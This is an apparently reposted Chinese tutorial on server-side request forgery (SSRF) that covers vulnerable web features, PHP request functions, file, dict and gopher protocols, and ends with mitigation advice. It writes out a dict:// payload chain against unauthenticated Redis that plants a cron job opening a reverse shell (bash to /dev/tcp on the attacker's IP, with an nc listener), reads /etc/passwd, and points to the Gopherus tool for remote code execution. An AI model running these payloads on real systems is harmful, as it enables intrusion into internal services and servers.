摘要:服务端请求伪造漏洞,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一种漏洞。举例攻击者传入一个未经验证的,后端代码直接请求这个,就会造成漏洞。禁止不常用的协议仅仅允许和请求。
一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。漏洞形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发送请求,并返回对该目标地址请求的数据。
举例:
攻击者传入一个未经验证的 URL,后端代码直接请求这个 URL,就会造成 SSRF 漏洞。
内网网段:
10.0.0.0--10.255.255.255172.16.0.0--172.31.255.255192.168.0.0--192.168.255.255
Web功能:
www.example.com/xxx.php?image=(地址) 此类资源地址就可能存在SSRF漏洞
通过 URL 地址分享网页内容:获取超链接的标题进行显示
文件处理、编码处理、转码等服务:通过 URL 地址把原地址的网页内容调优使其适合手机屏幕浏览
在线翻译:给网址翻译对应网页的内容
通过 URL 地址加载与下载图片:例如富文本编辑器中的点击下载图片到本地;通过 URL 地址加载或下载图片
图片、文章收藏功能:主要网站会取 URL 地址中 title 以及文本的内容作为显示以求好的用户体验
未公开的 api 实现及其他调用 URL 的功能
Url关键字:
share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain …
PHP 中的函数:
curl_exec() 、file_get_contents()、fsockopen()
curl_exec()
前端传进来的 url 被后台使用 curl_exec() 进行了请求,然后将请求的结果又返回给了前端。
file_get_contents()
使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。
fsockopen()
fsockopen 函数实现获取用户制定 url 的数据(文件或者 html )。这个函数会使用 socket 跟服务器建立tcp 连接,传输原始数据。
file:///etc/passwd
file协议与http协议的区别
file协议主要用于读取服务器本地文件,访问的是本地的静态资源
http协议是访问本地的html文件,相当于把本机当作http服务器,通过http访问服务器,服务器再去访问本地资源。
简单来说file只能静态读取,http可以动态解析,http服务器可以开放端口,让他人通过http访问服务器资源,但file不可以。
利用Bp抓包爆破扫描端口
dict协议:属于字典服务器,在ssrf中常用于探测目标服务器端口上运行的服务版本信息.
格式:dict://ip:port
探测应用服务器版本
curl -v dict://ip:port
探测内网redis
REmote DIctionary Server(Redis) 是一个由 Salvatore Sanfilippo 写的 key-value 存储系统,是跨平台的非关系型数据库。
Redis一般绑定在本地的6379端口上,如果在没有开启认证的情况下,可以导致任意用户利用ssrf漏洞攻击内网中的未授权Redis以及读取Redis的数据。
dict协议攻击redis
攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 redis 的用户是 root 用户,攻击者可以通过写定时任务的方式进行反弹shell
写定时任务
centos,在/var/spool/cron/目录下
ubuntu 的定时任务在 /var/spool/cron/crontabs/ 目录下
payload
dict://内网ip:6379/flushalldict://内网ip:6379/config set dir /var/spool/cron/dict://内网ip:6379/config set dbfilename rootdict://内网ip:6379/set x "/n* * * * * bash -i &> /dev/tcp/自己ip/2333 <&1/n"dict://内网ip:6379/savenc –lvvp 2333
gopher协议攻击redis
gopher 协议是比 http 协议更早出现的协议,现在已经不常用了,但是在 SSRF 漏洞利用中 gopher 可以说是万金油,因为可以使用gopher 发送各种格式的请求包,可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL
gopher协议默认端口70,所以需要指定web端口,而且需要指定方法。数据部分需要进行url编码。回车换行使用%0d%0a
基本协议格式:URL:gopher://
在 SSRF 易受攻击的站点上生成 Gopher 负载以利用 SSRF 并获得 RCE。
可以攻击的应用:MySQL、FastCGI、Memcached、Redis、Zabbix、SMTP
https://github.com/tarunkant/Gopherus
过滤返回的信息:如果web应用是去获取某一类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
统一错误信息:避免用户可以根据错误信息来判断远程服务器的端口状态。
限制请求的端口:比如80,443,8080,8090。
禁止不常用的协议:仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp://等引起的问题。
URL限制:使用DNS缓存或者Host白名单的方式。
禁止跳转、限制协议、URL限制、内外网限制
文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。
转载请注明本文地址:https://www.ucloud.cn/yun/121208.html
...过滤掉一部分CSRF攻击的。但是使用Rerferer值,就相当于把安全性交给了第三方,浏览器实现referer的方式不能保证没有漏洞。据说IE6是可以修改referer的值的。另外referer会记录下用户的访问来源,有些用户会觉得是侵犯了其隐私,...
...过滤掉一部分CSRF攻击的。但是使用Rerferer值,就相当于把安全性交给了第三方,浏览器实现referer的方式不能保证没有漏洞。据说IE6是可以修改referer的值的。另外referer会记录下用户的访问来源,有些用户会觉得是侵犯了其隐私,...
web 应用常见安全漏洞一览 1. SQL 注入 SQL 注入就是通过给 web 应用接口传入一些特殊字符,达到欺骗服务器执行恶意的 SQL 命令。 SQL 注入漏洞属于后端的范畴,但前端也可做体验上的优化。 原因 当使用外部不可信任的数据作...
web 应用常见安全漏洞一览 1. SQL 注入 SQL 注入就是通过给 web 应用接口传入一些特殊字符,达到欺骗服务器执行恶意的 SQL 命令。 SQL 注入漏洞属于后端的范畴,但前端也可做体验上的优化。 原因 当使用外部不可信任的数据作...
阅读 3026·2021-11-08 13:30
阅读 2487·2021-09-27 13:34
阅读 3252·2019-08-30 15:55
阅读 383·2019-08-29 15:16
阅读 1517·2019-08-26 13:57
阅读 1840·2019-08-26 12:18
阅读 459·2019-08-26 11:36
阅读 1476·2019-08-26 11:30